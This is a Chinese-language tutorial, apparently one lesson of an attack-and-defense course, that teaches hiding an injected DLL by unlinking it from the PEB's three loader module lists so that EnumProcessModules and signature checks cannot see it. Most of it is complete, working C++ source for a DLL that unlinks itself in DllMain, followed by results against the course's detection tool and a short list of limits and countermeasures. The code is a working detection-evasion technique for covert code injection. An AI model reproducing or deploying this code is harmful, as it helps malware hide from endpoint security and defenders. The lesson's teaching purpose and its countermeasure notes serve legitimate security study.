阅读时间: 15-20 分钟
前置知识: 理解进程注入技术、Windows PEB 结构、双向链表数据结构
学习目标: 掌握 LDR 模块断链技术,实现完全隐形的 DLL 注入


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1dH2MBAEvg/


07-攻击篇-LDR模块断链:隐形DLL注入的终极绕过

承接上节:防御者的检测为何失效

上节课,防御者用 模块枚举 + 签名验证 检测到了我们的可疑模块:

  • 原理:通过 EnumProcessModules() 函数遍历所有加载的 DLL
  • 效果:成功列出模块列表,未签名的 DLL 无所遁形

作为攻击者,我们需要找到这个检测的盲区。
关键问题是:EnumProcessModules 到底是怎么获取模块列表的?


用IDA看清EnumProcessModules的真面目

为了找到突破口,我们用 IDA Pro 对 EnumProcessModules 函数进行反编译分析。

下图是 IDA 反编译的完整概览,展示了 EnumProcessModulesInternal 函数如何通过 PEB → LDR → 链表的方式枚举所有模块:

IDA反编译完整概览

发现1:具体实现来自 EnumProcessModulesInternal

首先需要说明的是,在 Visual Studio 2022 中,EnumProcessModules 实际上是一个宏定义,它指向 K32EnumProcessModules 函数。

打开 IDA,定位到 K32EnumProcessModules,可以发现它内部调用了 EnumProcessModulesInternal 函数。

完整的调用链

1
2
3
4
5
EnumProcessModules (宏)

K32EnumProcessModules (导出函数)

EnumProcessModulesInternal (内部实现)

这个 EnumProcessModulesInternal 函数才是真正遍历模块链表的地方。

发现2:从PEB开始的三步走

让我们看看 EnumProcessModulesInternal 做了什么:

第一步:获取PEB地址

获取PEB地址

首先它通过 NtQueryInformationProcess 获取了 PEB(进程环境块)

PEB 是什么? 进程环境块(Process Environment Block),Windows 为每个进程维护的一个数据结构,里面存储了进程的各种信息,包括加载的模块列表。

第二步:读取LDR指针

读取LDR指针

然后在 PEB+0x18 偏移处读取了一个值,这个值就是 PEB_LDR_DATA 结构的指针。

PEB_LDR_DATA 是什么? 加载器数据结构,专门用来管理进程中所有已加载的 DLL 模块。它维护了三个链表,分别按不同顺序记录模块信息。

第三步:读取模块链表

读取模块链表

随后它又读取了 PEB_LDR_DATA 偏移 0x20 的地方,这就是 InMemoryOrderModuleList(内存顺序模块链表)。

InMemoryOrderModuleList 是什么? 一个双向链表,按照 DLL 在内存中的地址顺序组织所有已加载的模块。链表中的每个节点都包含一个 DLL 的信息(基址、名称等)。

发现3:链表遍历的关键步骤

拿到链表头后,IDA 中的代码开始循环遍历:

链表遍历的关键步骤

关键理解

双向链表的结构:每个节点有两个指针

  • Flink(Forward Link)- 指向下一个节点
  • Blink(Backward Link)- 指向上一个节点
  • 链表是循环的,从链表头的 Flink 开始遍历
  • 直到 Flink 回指到链表头自己才停止
  • 每个节点存储一个 DLL 的信息(LDR_DATA_TABLE_ENTRY

LDR_DATA_TABLE_ENTRY 是什么? 加载器数据表项(Loader Data Table Entry),记录了单个 DLL 的详细信息:基址、大小、名称、入口点等。

发现4:还有另外两个链表

通过查看 PEB_LDR_DATA 结构定义,我们发现它维护了三个链表

1
2
3
4
5
6
7
8
9
struct _PEB_LDR_DATA
{
ULONG Length; // 0x0
UCHAR Initialized; // 0x4
VOID* SsHandle; // 0x8
struct _LIST_ENTRY InLoadOrderModuleList; // 0x10 ← 加载顺序
struct _LIST_ENTRY InMemoryOrderModuleList; // 0x20 ← 内存顺序(上面看到的)
struct _LIST_ENTRY InInitializationOrderModuleList; // 0x30 ← 初始化顺序
};

为什么有三个链表?

这三个链表记录的是同一批 DLL,只是组织顺序不同:

  • InLoadOrderModuleList(0x10) - 按 DLL 加载的时间顺序排列

    比如:ntdll.dll 总是第一个被加载,所以它排在最前面

  • InMemoryOrderModuleList(0x20) - 按 DLL 在内存中的地址顺序排列

    比如:基址在 0x10000000 的 DLL 排在基址 0x20000000 的前面

  • InInitializationOrderModuleList(0x30) - 按 DLL 初始化的顺序排列

    加载和初始化不是同时进行的,初始化顺序可能与加载顺序不同

攻击者启示
防御工具可能用这三个链表中的任意一个来遍历,所以我们必须从所有三个链表中都断链,才能真正隐身。


绕过思路:断链让DLL”隐身”

通过 IDA 分析,我们发现了防御工具的致命依赖:

  1. EnumProcessModules 必须遍历 LDR 链表 - 这是它获取 DLL 列表的唯一途径
  2. 链表在用户态内存 - PEB 和 LDR 结构都在我们进程的地址空间,我们有权限直接修改
  3. 链表操作很简单 - 双向链表的断链只需要改两个指针(Flink 和 Blink)
  4. 断链后就彻底消失 - 遍历逻辑会自动跳过被断链的节点

既然防御工具完全依赖这个链表,那我们的绕过思路就很清晰了:

在 DLL 加载时,把自己从 PEB 的三个 LDR 链表中”摘掉”,让枚举函数遍历时跳过我们。

核心方案

  1. 获取当前进程的 PEB 地址(通过 NtQueryInformationProcess
  2. 访问 PEB 中的 LDR 数据结构(PEB+0x18)
  3. 找到代表当前 DLL 的 LDR_DATA_TABLE_ENTRY 节点
  4. 执行双向链表的断链操作(修改 Flink 和 Blink 指针)
  5. 对三个链表都执行断链(加载顺序 0x10、内存顺序 0x20、初始化顺序 0x30)

用”隐身斗篷”来比喻

  • 防御者的工具相当于”点名簿”,通过遍历名单发现所有人
  • 我们的断链操作就像”撕掉点名簿中的那一页”
  • 虽然人还在那里(内存中),但名单上找不到

双向链表断链原理

在写代码之前,我们需要理解双向链表的断链操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 典型的双向链表节点结构
typedef struct _LIST_ENTRY
{
struct _LIST_ENTRY *Flink; // 指向下一个节点
struct _LIST_ENTRY *Blink; // 指向上一个节点
} LIST_ENTRY;

// 断链操作的本质:改变指针关系
// 原来:A <-> B <-> C
// 断链后:A <-> C (B被移除)

currentEntry->Blink->Flink = currentEntry->Flink; // 上一个节点指向下一个
currentEntry->Flink->Blink = currentEntry->Blink; // 下一个节点指向上一个

关键:只需要修改前后节点的指针,让它们互相指向,跳过当前节点即可。

链表断链前后对比

下图展示了模块链表在断链前后的实际状态变化:

断链前:DLL 还在 LDR 链表中
模块链表 - 断链前

断链后:DLL 已从链表中移除,但仍在内存中
模块链表 - 断链后

三个链表的偏移计算

LDR_DATA_TABLE_ENTRY 结构中有三个 LIST_ENTRY 成员:

1
2
3
4
5
6
7
8
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks; // 0x00
LIST_ENTRY InMemoryOrderLinks; // 0x10
LIST_ENTRY InInitializationOrderLinks; // 0x20
PVOID DllBase; // 0x30 - DLL基地址
// ... 其他字段
} MY_LDR_DATA_TABLE_ENTRY;

为什么要计算偏移

  • 遍历 InLoadOrderLinks 时,链表指针直接指向结构体起始位置(偏移 0x00)
  • 遍历 InMemoryOrderLinks 时,链表指针指向偏移 0x10 处,需要向前回退 0x10 字节
  • 遍历 InInitializationOrderLinks 时,链表指针指向偏移 0x20 处,需要向前回退 0x20 字节

动手实现:从零开始写断链DLL

现在让我们一步一步写出这个 DLL。

为什么这次要写 DLL 而不是 EXE?

之前的绕过代码(如 APC 注入、线程劫持)我们都是写在 EXE 里的,但这次必须用 DLL,原因是:

核心问题:我们需要在目标进程内部修改目标进程的 PEB 链表。

技术原因分析

  1. PEB 是进程私有的 - 每个进程有自己的 PEB,A 进程无法直接修改 B 进程的 PEB(需要用 WriteProcessMemory,但操作复杂且容易出错)

  2. 断链必须在目标进程内执行 - 如果用 EXE 从外部修改:

    • 需要先 ReadProcessMemory 读取整个链表结构
    • 计算新的指针地址
    • WriteProcessMemory 写回去
    • 中间可能因为多线程导致链表被修改,产生竞争条件
  3. DLL 天然运行在目标进程 - 当 DLL 被注入后:

    • 它的代码直接在目标进程的地址空间执行
    • 可以直接访问当前进程的 PEB(通过 GetCurrentProcess()
    • 操作简单、直接、可靠

类比理解

  • EXE 方式:像站在房外,透过窗户用遥控器操作房间里的家具(麻烦、不精确)
  • DLL 方式:像进入房间,直接用手移动家具(简单、直接)

所以这次我们要把断链代码写在 DLL 的入口函数 DllMain 中,然后通过注入技术(远程线程、APC 等)把它加载到目标进程。


第一步:搭建 DLL 基本框架

打开 Visual Studio,创建一个新的 C++ 源文件,命名为 07-攻击篇-LDR模块断链-DLL.cpp

首先包含必要的头文件,然后写出完整的 DLL 入口函数框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
#include <winternl.h>

/**
* @brief DLL入口函数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if (PerformUnlinkInternal(hModule))
{
MessageBoxA(NULL, "注入成功!\n\nDLL已从模块链表中断链,\n绕过了模块枚举检测。",
"LDR模块断链演示", MB_OK | MB_ICONINFORMATION);
}
else
{
MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR);
}
}
return TRUE;
}

关键理解

  • DLL_PROCESS_ATTACH 在 DLL 被加载到进程时触发(只触发一次)
  • 核心的断链逻辑封装在 PerformUnlinkInternal() 函数中,它接收当前 DLL 的句柄 hModule 作为参数
  • 通过弹窗来验证 DLL 是否成功执行(但防御工具将看不到这个 DLL)

第二步:定义 PEB 和 LDR 结构体

为了访问 PEB 链表,我们需要自己定义相关结构体(Windows 不公开这些定义)。

在文件开头(#include 下方)添加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// PEB 结构(简化版,只包含我们需要的字段)
typedef struct _MY_PEB
{
UCHAR InheritedAddressSpace; // 0x00
UCHAR ReadImageFileExecOptions; // 0x01
UCHAR BeingDebugged; // 0x02
UCHAR BitField; // 0x03
UCHAR Padding0[4]; // 0x04
PVOID Mutant; // 0x08
PVOID ImageBaseAddress; // 0x10
struct _MY_PEB_LDR_DATA* Ldr; // 0x18 - 指向加载器数据(关键!)
} MY_PEB, *PMY_PEB;

// PEB_LDR_DATA 结构 - 加载器数据
typedef struct _MY_PEB_LDR_DATA
{
ULONG Length; // 0x00
UCHAR Initialized; // 0x04
PVOID SsHandle; // 0x08
LIST_ENTRY InLoadOrderModuleList; // 0x10 - 链表1:加载顺序
LIST_ENTRY InMemoryOrderModuleList; // 0x20 - 链表2:内存顺序
LIST_ENTRY InInitializationOrderModuleList; // 0x30 - 链表3:初始化顺序
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY 结构 - 每个 DLL 的信息
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks; // 0x00 - 在链表1中的位置
LIST_ENTRY InMemoryOrderLinks; // 0x10 - 在链表2中的位置
LIST_ENTRY InInitializationOrderLinks; // 0x20 - 在链表3中的位置
PVOID DllBase; // 0x30 - DLL 基地址(用于识别)
PVOID EntryPoint; // 0x38 - 入口点
ULONG SizeOfImage; // 0x40 - 映像大小
UNICODE_STRING FullDllName; // 0x48 - 完整路径
UNICODE_STRING BaseDllName; // 0x58 - 文件名
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

关键理解

  • PEB.Ldr 指向加载器数据
  • PEB_LDR_DATA 包含三个链表,每个链表都记录所有 DLL(只是顺序不同)
  • LDR_DATA_TABLE_ENTRY 是链表节点,代表一个 DLL

第三步:写函数获取 PEB 地址

现在我们需要一个函数来获取当前进程的 PEB 地址。

先定义 NtQueryInformationProcess 函数原型:

1
2
3
4
5
6
7
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);

然后写获取 PEB 的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PMY_PEB GetCurrentProcessPEB()
{
static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;

// 第一次调用时,动态获取函数地址
if (!NtQueryInfoProcess)
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(
hNtdll, "NtQueryInformationProcess");
if (!NtQueryInfoProcess) return nullptr;
}

// 查询当前进程的基本信息
HANDLE hCurrentProcess = GetCurrentProcess();
PROCESS_BASIC_INFORMATION pbi = {0};
NTSTATUS status = NtQueryInfoProcess(
hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);

return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr;
}

关键理解

  • NtQueryInformationProcess 是 Native API(在 ntdll.dll 中)
  • ProcessBasicInformation 可以获取包含 PEB 地址的结构体
  • static 变量缓存函数地址,避免重复查找

第四步:实现断链核心函数

现在开始写最核心的断链逻辑。我们需要从三个链表中都移除当前 DLL 的节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL PerformUnlinkInternal(HMODULE hDllModule)
{
// 验证 DLL 句柄有效性
if (!hDllModule)
{
return FALSE;
}

PVOID dllBaseToUnlink = hDllModule;

// 获取 PEB 和 LDR 结构
PMY_PEB peb = GetCurrentProcessPEB();
if (!peb)
{
return FALSE;
}

PMY_PEB_LDR_DATA ldr = peb->Ldr;
if (!ldr)
{
return FALSE;
}

BOOL found = FALSE;

// TODO: 遍历三个链表,执行断链

return found;
}

接下来逐一处理三个链表。


第五步:断开链表 1 - InLoadOrderLinks(加载顺序)

PerformUnlinkInternal 函数的 TODO 位置,添加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 链表 1:InLoadOrderModuleList(加载顺序)
PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink;
while (currentEntry != &ldr->InLoadOrderModuleList)
{
// InLoadOrderLinks 在结构体偏移 0x00,所以可以直接转换
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;

// 检查是否是我们要断链的 DLL
if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作:让前后节点互相指向
currentEntry->Blink->Flink = currentEntry->Flink; // 前一个节点的 Flink 指向后一个
currentEntry->Flink->Blink = currentEntry->Blink; // 后一个节点的 Blink 指向前一个
found = TRUE;
break;
}

// 移动到下一个节点
currentEntry = currentEntry->Flink;
}

代码解释 1:为什么这行可以直接转换?

1
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;

因为 InLoadOrderLinks 是结构体的第一个成员(偏移 0x00):

1
2
3
4
5
内存布局示例(假设结构体在 0x1000):
0x1000 ← 结构体起始地址
0x1000 ← InLoadOrderLinks 的地址(第一个成员)
0x1010 ← InMemoryOrderLinks 的地址
0x1020 ← InInitializationOrderLinks 的地址

在 C/C++ 中,结构体的第一个成员地址 = 结构体起始地址

所以:

  • currentEntry 指向 0x1000(InLoadOrderLinks)
  • 转换后 ldrEntry 也指向 0x1000(结构体起始地址)
  • 两者地址相同,可以直接转换!

代码解释 2:断链操作的原理

1
2
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;

双向链表的断链操作本质是改变指针:

1
2
3
4
5
原来:A <-> B <-> C
断链 B:
A.Flink = C (原本指向 B,现在指向 C)
C.Blink = A (原本指向 B,现在指向 A)
结果:A <-> C (B 消失)

用代码表示:

1
2
B->Blink->Flink = B->Flink;  // A 的下一个指向 C
B->Flink->Blink = B->Blink; // C 的上一个指向 A

第六步:断开链表 2 - InMemoryOrderLinks(内存顺序)

继续在刚才的代码下方添加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 链表 2:InMemoryOrderModuleList(内存顺序)
currentEntry = ldr->InMemoryOrderModuleList.Flink;
while (currentEntry != &ldr->InMemoryOrderModuleList)
{
// InMemoryOrderLinks 在结构体偏移 0x10(16 字节)
// 需要向前回退一个 LIST_ENTRY 的大小
PMY_LDR_DATA_TABLE_ENTRY ldrEntry =
(PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));

if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}

currentEntry = currentEntry->Flink;
}

关键理解

为什么要减去 sizeof(LIST_ENTRY)

1
2
3
4
5
6
7
8
9
10
结构体布局:
+0x00: InLoadOrderLinks ← 第一个 LIST_ENTRY
+0x10: InMemoryOrderLinks ← 第二个 LIST_ENTRY (当前链表)
+0x20: InInitializationOrderLinks
+0x30: DllBase
...

当前链表指针指向 +0x10 位置
要获取结构体起始地址,需要:currentEntry - 0x10
即:currentEntry - sizeof(LIST_ENTRY)

第七步:断开链表 3 - InInitializationOrderLinks(初始化顺序)

继续添加第三个链表的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 链表 3:InInitializationOrderModuleList(初始化顺序)
currentEntry = ldr->InInitializationOrderModuleList.Flink;
while (currentEntry != &ldr->InInitializationOrderModuleList)
{
// InInitializationOrderLinks 在结构体偏移 0x20(32 字节)
// 需要向前回退两个 LIST_ENTRY 的大小
PMY_LDR_DATA_TABLE_ENTRY ldrEntry =
(PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));

if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}

currentEntry = currentEntry->Flink;
}

关键理解

第三个链表在偏移 0x20 位置,需要向前回退 32 字节:

1
2
3
当前链表指针指向 +0x20 位置
结构体起始地址 = currentEntry - 0x20
即:currentEntry - 2 * sizeof(LIST_ENTRY)

完整代码

将上面各步组合在一起,得到完整的断链 DLL 源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#include <windows.h>
#include <winternl.h>

/**
* @file 07-攻击篇-LDR模块断链-DLL.cpp
* @brief DLL版本的LDR模块断链隐藏技术演示
* @details 注入后在目标进程中执行断链操作,然后弹出成功提示
*/

#if !defined(_WIN64)
#error "此程序必须以 x64 模式编译"
#endif

// ============================================================================
// 自定义结构体定义(补充winternl.h不全的部分)
// ============================================================================

/**
* @brief LDR_DATA_TABLE_ENTRY结构 - 已加载DLL的信息表项
*/
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks; // 0x00 - 加载顺序链表
LIST_ENTRY InMemoryOrderLinks; // 0x10 - 内存顺序链表
LIST_ENTRY InInitializationOrderLinks; // 0x20 - 初始化顺序链表
PVOID DllBase; // 0x30 - DLL基地址
PVOID EntryPoint; // 0x38 - 入口点
ULONG SizeOfImage; // 0x40 - 映像大小
UNICODE_STRING FullDllName; // 0x48 - 完整DLL名称
UNICODE_STRING BaseDllName; // 0x58 - 基础DLL名称
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

/**
* @brief PEB_LDR_DATA结构 - PEB中的加载器数据
*/
typedef struct _MY_PEB_LDR_DATA
{
ULONG Length; // 0x00
UCHAR Initialized; // 0x04
PVOID SsHandle; // 0x08
LIST_ENTRY InLoadOrderModuleList; // 0x10 - 加载顺序模块链表
LIST_ENTRY InMemoryOrderModuleList; // 0x20 - 内存顺序模块链表
LIST_ENTRY InInitializationOrderModuleList; // 0x30 - 初始化顺序模块链表
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

/**
* @brief PEB结构 - 进程环境块
*/
typedef struct _MY_PEB
{
UCHAR InheritedAddressSpace; // 0x00
UCHAR ReadImageFileExecOptions; // 0x01
UCHAR BeingDebugged; // 0x02
UCHAR BitField; // 0x03
UCHAR Padding0[4]; // 0x04
PVOID Mutant; // 0x08
PVOID ImageBaseAddress; // 0x10
PMY_PEB_LDR_DATA Ldr; // 0x18 - 指向加载器数据(关键!)
} MY_PEB, *PMY_PEB;

/**
* @brief NtQueryInformationProcess函数原型
*/
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);

/**
* @brief 获取当前进程的PEB地址
* @return 成功返回PEB地址,失败返回nullptr
*/
PMY_PEB GetCurrentProcessPEB()
{
static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;

// 获取函数地址
if (!NtQueryInfoProcess)
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
if (!NtQueryInfoProcess) return nullptr;
}

// 查询当前进程的PEB地址
HANDLE hCurrentProcess = GetCurrentProcess();
PROCESS_BASIC_INFORMATION pbi = {0};
NTSTATUS status = NtQueryInfoProcess(hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);

return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr;
}

/**
* @brief 执行LDR模块断链操作
* @param hDllModule 当前DLL的句柄
* @return 成功返回TRUE,失败返回FALSE
*/
BOOL PerformUnlinkInternal(HMODULE hDllModule)
{
// 第一步:验证DLL句柄有效性
if (!hDllModule)
{
return FALSE;
}

PVOID dllBaseToUnlink = hDllModule;

// 第二步:获取PEB和LDR结构
PMY_PEB peb = GetCurrentProcessPEB();
if (!peb)
{
return FALSE;
}

PMY_PEB_LDR_DATA ldr = peb->Ldr;
if (!ldr)
{
return FALSE;
}

// 第三步:执行LDR断链操作
BOOL found = FALSE;

// 遍历InLoadOrderLinks链表
PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink;
while (currentEntry != &ldr->InLoadOrderModuleList)
{
// InLoadOrderLinks是LDR_DATA_TABLE_ENTRY的第一个成员(偏移0x00)
// 所以LIST_ENTRY指针就是LDR_DATA_TABLE_ENTRY指针
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;

if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作(移除链表中的此节点)
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}

currentEntry = currentEntry->Flink;
}

// 遍历InMemoryOrderLinks链表
currentEntry = ldr->InMemoryOrderModuleList.Flink;
while (currentEntry != &ldr->InMemoryOrderModuleList)
{
// InMemoryOrderLinks是LDR_DATA_TABLE_ENTRY的第二个成员
// 需要向前回溯16字节(一个LIST_ENTRY)
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));

if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}

currentEntry = currentEntry->Flink;
}

// 遍历InInitializationOrderLinks链表
currentEntry = ldr->InInitializationOrderModuleList.Flink;
while (currentEntry != &ldr->InInitializationOrderModuleList)
{
// InInitializationOrderLinks是LDR_DATA_TABLE_ENTRY的第三个成员
// 需要向前回溯32字节(两个LIST_ENTRY)
PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));

if (ldrEntry->DllBase == dllBaseToUnlink)
{
// 执行断链操作
currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;
found = TRUE;
break;
}

currentEntry = currentEntry->Flink;
}

return found;
}

/**
* @brief DLL入口函数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if (PerformUnlinkInternal(hModule))
{
MessageBoxA(NULL, "注入成功!\n\nDLL已从模块链表中断链,\n绕过了模块枚举检测。",
"LDR模块断链演示", MB_OK | MB_ICONINFORMATION);
}
else
{
MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR);
}
}
return TRUE;
}

验证效果

对比防御工具

实验步骤

  1. 启动上节课的防御工具 06-防御篇-检测模块归属.exe,设置持续监控
  2. 使用远程线程注入或APC注入技术,将 07-攻击篇-LDR模块断链-DLL.dll 注入到目标进程
  3. DLL加载后会自动执行断链操作,然后弹出提示框
  4. 观察防御工具的反应

结果对比

检测方式 防御工具预期 实际结果 绕过结论
模块枚举 (EnumProcessModules) ❌ 应该列出所有DLL ❌ 我们的DLL消失了 ✅ 绕过成功
数字签名检查 ❌ 应该检查DLL签名 ❌ 找不到这个DLL ✅ 绕过成功
白名单检查 ❌ 应该标记可疑 ❌ 无法检查已消失的DLL ✅ 完全隐形

实际验证效果

通过不同的注入方式验证断链效果:

使用线程劫持注入验证
效果验证 - 线程劫持注入

使用 APC 注入验证
效果验证 - APC注入


优势与局限

优势

  • 彻底隐形:绕过所有基于模块枚举的检测(EnumProcessModules、GetModuleHandle等)
  • 技术通用:可以配合CreateRemoteThread、APC注入、SET Window Hook等多种注入方式
  • 代码简洁:核心逻辑只需要30行左右的链表操作
  • 防御困难:即使看到DLL的内存内容,也很难重建链表信息

局限

  1. 只隐形了模块枚举

    • 仍然可以通过内存扫描发现DLL的存在
    • 仍然可以通过堆栈跟踪追踪到DLL的代码
    • 仍然可以被更高级的检测工具(如驱动级监控)发现
  2. 留下了执行痕迹

    • DLL执行时的API调用可以被Hook
    • 线程栈中可能有DLL的返回地址
    • ETW等事件跟踪可能记录加载事件
  3. 环境依赖

    • 只在Windows 7及以上版本有效
    • 某些安全软件可能对PEB的访问进行监控
    • 某些系统补丁可能改变PEB结构,导致偏移量失效
  4. 防御者的反制

    • 防御者可以验证LDR链表的完整性(检查链表是否被篡改)
    • 防御者可以遍历进程的内存页面,发现隐形DLL
    • 防御者可以使用驱动级回调监控PEB的修改